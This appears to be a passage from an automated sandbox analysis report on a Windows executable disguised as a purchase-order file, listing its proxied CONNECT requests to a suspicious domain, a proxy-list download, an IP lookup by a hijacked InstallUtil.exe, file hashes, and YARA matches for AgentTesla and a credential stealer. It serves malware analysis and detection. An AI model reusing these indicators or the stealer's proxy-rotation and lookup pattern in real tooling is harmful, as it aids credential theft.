Mar 11, 2024 16:42:48.688623905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:00.782291889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:12.782294035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:24.782272100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:48.782099962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:36.782058001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1920	192.168.2.11	51908	107.180.88.173	36503	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:36.541517019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.641676903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:42.641705036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.641652107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:00.655558109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:24.704050064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1921	192.168.2.11	52190	162.241.79.22	35318	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:36.579904079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1922	192.168.2.11	55190	5.202.104.22	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:36.591840982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1923	192.168.2.11	55214	5.182.39.25	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:36.646605968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.438606977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.439022064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.329581022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.109637976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49709	140.82.113.4	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 15:42:15 UTC	101	OUT	GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-03-11 15:42:16 UTC	506	IN	HTTP/1.1 200 OK Server: GitHub.com Date: Mon, 11 Mar 2024 15:42:16 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With ETag: W/"92c9dc477d5ad51e3c0d595ffabce4d3" Cache-Control: max-age=0, private, must-revalidate Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-03-11 15:42:16 UTC	3590	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f 6d 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 20 61 70 69 2e 67 69 74 68 75 62 2e Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.
2024-03-11 15:42:16 UTC	21	IN	Data Raw: 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: connection: close
2024-03-11 15:42:16 UTC	1370	IN	Data Raw: 38 30 30 30 0d 0a 0a 0a 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 0a 20 20 6c 61 6e 67 3d 22 65 6e 22 0a 20 20 0a 20 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 6d 6f 64 65 3d 22 61 75 74 6f 22 20 64 61 74 61 2d 6c 69 67 68 74 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 64 61 74 61 2d 64 61 72 6b 2d 74 68 65 6d 65 3d 22 64 61 72 6b 22 0a 20 20 64 61 74 61 2d 61 31 31 79 2d 61 6e 69 6d 61 74 65 64 2d 69 6d 61 67 65 73 3d 22 73 79 73 74 65 6d 22 20 64 61 74 61 2d 61 31 31 79 2d 6c 69 6e 6b 2d 75 6e 64 65 72 6c 69 6e 65 73 3d 22 74 72 75 65 22 0a 20 20 3e 0a 0a 0a 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 Data Ascii: 8000<!DOCTYPE html><html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system" data-a11y-link-underlines="true" > <head> <meta charset="utf-8"> <link rel="dns-pr
2024-03-11 15:42:16 UTC	1370	IN	Data Raw: 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 64 61 72 6b 5f 63 6f 6c 6f 72 62 6c 69 6e 64 2d 61 66 61 39 39 64 63 66 34 30 66 37 2e 63 73 73 22 20 2f 3e 3c 6c 69 6e 6b 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 5f 63 6f 6c 6f 72 62 6c 69 6e 64 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: ="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-afa99dcf40f7.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/
2024-03-11 15:42:16 UTC	1370	IN	Data Raw: 67 69 74 68 75 62 2d 66 34 64 38 35 37 63 62 63 39 36 61 2e 63 73 73 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 72 65 70 6f 73 69 74 6f 72 79 2d 36 32 34 37 63 61 32 33 38 66 64 34 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 Data Ascii: github-f4d857cbc96a.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/repository-6247ca238fd4.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubass
2024-03-11 15:42:16 UTC	1370	IN	Data Raw: 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 74 61 63 6b 74 72 61 63 65 2d 70 61 72 73 65 72 5f 64 69 73 74 5f 73 74 61 63 6b 2d 74 72 61 63 65 2d 70 61 72 73 65 72 5f 65 73 6d 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 72 6f 2d 61 34 63 31 38 33 2d 37 39 66 39 36 31 31 63 32 37 35 62 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 Data Ascii: ps://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-a4c183-79f9611c275b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://gi
2024-03-11 15:42:16 UTC	1370	IN	Data Raw: 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 63 6f 6d 62 6f 62 6f 78 2d 6e 61 76 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 61 72 6b 64 6f 77 6e 2d 74 6f 6f 6c 62 61 72 2d 65 2d 38 32 30 66 63 30 2d 62 63 38 66 30 32 62 39 36 37 34 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 Data Ascii: " defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_combobox-nav_dist_index_js-node_modules_github_markdown-toolbar-e-820fc0-bc8f02b96749.js"></script><script crossorigin="anonymous" defer
2024-03-11 15:42:16 UTC	1370	IN	Data Raw: 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 65 6c 65 6d 65 6e 74 2d 72 65 67 69 73 74 72 79 2d 38 35 37 34 35 33 30 61 36 63 64 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f Data Ascii: fer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-8574530a6cd5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendo
2024-03-11 15:42:16 UTC	1370	IN	Data Raw: 65 72 74 5f 69 6e 64 65 78 5f 6a 73 2d 37 32 63 39 66 62 64 65 35 61 64 34 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 70 72 69 6d 65 72 5f 62 65 68 61 76 69 6f 72 73 5f 64 69 73 74 5f 65 73 6d 5f 64 69 6d 65 6e 73 69 6f 6e 73 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6a 74 6d 6c 5f 6c 69 62 5f 69 6e 64 65 78 Data Ascii: ert_index_js-72c9fbde5ad4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_jtml_lib_index
2024-03-11 15:42:16 UTC	1370	IN	Data Raw: 62 5f 62 65 68 61 76 69 6f 72 73 5f 69 6e 63 6c 75 64 65 2d 34 36 37 37 35 34 2d 66 39 62 64 34 33 33 65 39 35 39 31 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 63 6f 6d 6d 65 6e 74 69 6e 67 5f 65 64 69 74 5f 74 73 2d 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f Data Ascii: b_behaviors_include-467754-f9bd433e9591.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	50832	222.255.238.159	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 15:42:19 UTC	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
2024-03-11 15:42:20 UTC	192	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-03-11 15:42:20 UTC	638	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	54060	104.21.57.121	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 15:42:24 UTC	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
2024-03-11 15:42:25 UTC	161	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: -
2024-03-11 15:42:25 UTC	155	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	55224	172.67.74.152	443	42536	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 15:42:37 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-03-11 15:42:37 UTC	211	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:37 GMT Content-Type: text/plain Content-Length: 13 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 862ca7ce8f8b09fb-LAS
2024-03-11 15:42:37 UTC	13	IN	Data Raw: 31 35 34 2e 31 36 2e 31 30 35 2e 33 38 Data Ascii: 154.16.105.38

Target ID:	0
Start time:	16:42:13
Start date:	11/03/2024
Path:	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe
Imagebase:	0x1fd251a0000
File size:	99'840 bytes
MD5 hash:	78AB3F5907770357B36DD7D3AE612125
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:42:33
Start date:	11/03/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
Imagebase:	0x550000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2582192043.00000000028D4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2582192043.00000000028CC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2577350351.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2577350351.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.2582192043.00000000028A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.2582192043.00000000028A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	16:42:33
Start date:	11/03/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
Imagebase:	0xce0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:42:35
Start date:	11/03/2024
Path:	C:\Windows\System32\WerFault.exe
